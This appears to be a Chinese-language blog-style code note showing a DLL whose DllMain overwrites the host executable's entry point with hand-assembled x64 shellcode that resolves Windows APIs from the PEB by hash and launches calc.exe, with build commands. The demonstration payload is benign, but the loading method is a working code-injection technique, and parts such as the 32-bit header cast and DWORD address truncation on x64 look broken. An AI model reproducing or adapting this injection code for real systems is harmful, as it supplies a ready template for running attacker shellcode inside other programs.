dllmain中shellcode覆盖exe入口

a.c   -> a.exe

#include<stdio.h>
#include<windows.h>

int gg();

int main(){
    gg();
    
    puts("over");
}

g.c  ->  g.dll

#include<windows.h>
#include<stdio.h>

//x64 弹计算器
BYTE code[]={72, 129, 236, 0, 1, 0, 0, 101, 72, 139, 4, 37, 96, 0, 0, 0, 72, 139, 64, 24, 72, 139, 64, 48, 72, 139, 112, 16, 72, 139, 88, 64, 72, 139, 
0, 129, 123, 12, 51, 0, 50, 0, 117, 236, 72, 139, 206, 72, 199, 194, 50, 116, 145, 12, 232, 192, 0, 0, 0, 76, 139, 240, 72, 199, 195, 108, 
108, 0, 0, 83, 72, 187, 117, 115, 101, 114, 51, 50, 46, 100, 83, 72, 139, 204, 72, 131, 236, 24, 65, 255, 214, 72, 139, 216, 72, 139, 203, 
72, 199, 194, 106, 10, 56, 30, 232, 142, 0, 0, 0, 76, 139, 240, 77, 51, 201, 77, 51, 192, 72, 51, 210, 72, 51, 201, 65, 255, 214, 72, 139, 
206, 72, 199, 194, 81, 47, 162, 1, 232, 109, 0, 0, 0, 76, 139, 240, 72, 51, 192, 80, 72, 184, 99, 97, 108, 99, 46, 101, 120, 101, 80, 72, 139, 204, 72, 131, 236, 32, 72, 199, 194, 1, 0, 0, 0, 65, 255, 214, 72, 139, 206, 72, 186, 133, 223, 175, 187, 0, 0, 0, 0, 232, 56, 0, 0, 0, 76, 139, 240, 72, 199, 192, 97, 100, 0, 0, 80, 72, 184, 69, 120, 105, 116, 84, 104, 114, 101, 80, 72, 139, 206, 72, 139, 212, 72, 131, 236, 32, 65, 255, 214, 76, 139, 240, 72, 129, 196, 136, 1, 0, 0, 72, 131, 236, 24, 72, 51, 201, 65, 255, 214, 195, 72, 131, 236, 64, 86, 72, 139, 250, 72, 139, 217, 72, 139, 115, 60, 72, 139, 198, 72, 193, 224, 54, 72, 193, 232, 54, 72, 139, 180, 3, 136, 0, 0, 0, 72, 193, 230, 32, 72, 193, 238, 32, 72, 3, 243, 86, 139, 118, 32, 72, 3, 243, 72, 51, 201, 255, 201, 255, 193, 173, 72, 3, 195, 51, 210, 128, 56, 0, 116, 15, 193, 202, 7, 81, 15, 190, 8, 3, 209, 89, 72, 255, 192, 235, 236, 59, 215, 117, 224, 94, 139, 86, 36, 72, 3, 211, 15, 191, 12, 74, 139, 86, 28, 72, 3, 211, 139, 4, 138, 72, 3, 195, 94, 72, 131, 196, 64, 195};

DWORD GetEntryPoint() {
    HMODULE hModule = GetModuleHandle(NULL); // 获取当前进程的主模块句柄
    if (!hModule) {
        fprintf(stderr, "GetModuleHandle failed\n");
        return 0;
    }
 
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        fprintf(stderr, "Invalid DOS header\n");
        return 0;
    }
 
    PIMAGE_NT_HEADERS32 pNtHeaders = (PIMAGE_NT_HEADERS32)((BYTE*)hModule + pDosHeader->e_lfanew);
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        fprintf(stderr, "Invalid NT headers\n");
        return 0;
    }
 
    // 获取入口点的RVA（相对虚拟地址）并转换为绝对地址
    DWORD entryPointRVA = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    DWORD entryPoint = (DWORD)((BYTE*)hModule + entryPointRVA);
 
    return entryPoint;
}
 

int gg(){
    puts("Hello");
}

void hook(void*addr){

    SIZE_T regionSize = sizeof(code); 
    DWORD oldProtect;
   VirtualProtect(addr,sizeof(code), PAGE_EXECUTE_READWRITE, &oldProtect);
 
    memcpy(addr,&code,regionSize);

 
    printf("Memory protection changed successfully.\n");
}

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,  // DLL实例的句柄
  DWORD     fdwReason, // 调用原因
  LPVOID    lpvReserved // 保留参数
){
    if(fdwReason==DLL_PROCESS_ATTACH){
        void*addr=GetEntryPoint();

        printf("%p  www\n",addr);
        hook(addr);
        printf("%p  qqq\n",addr);
        printf("%p  aaa\n",addr);
    }
}

编译运行

gcc g.c -shared  -o g.dll
gcc a.c  -L . -lg
a.exe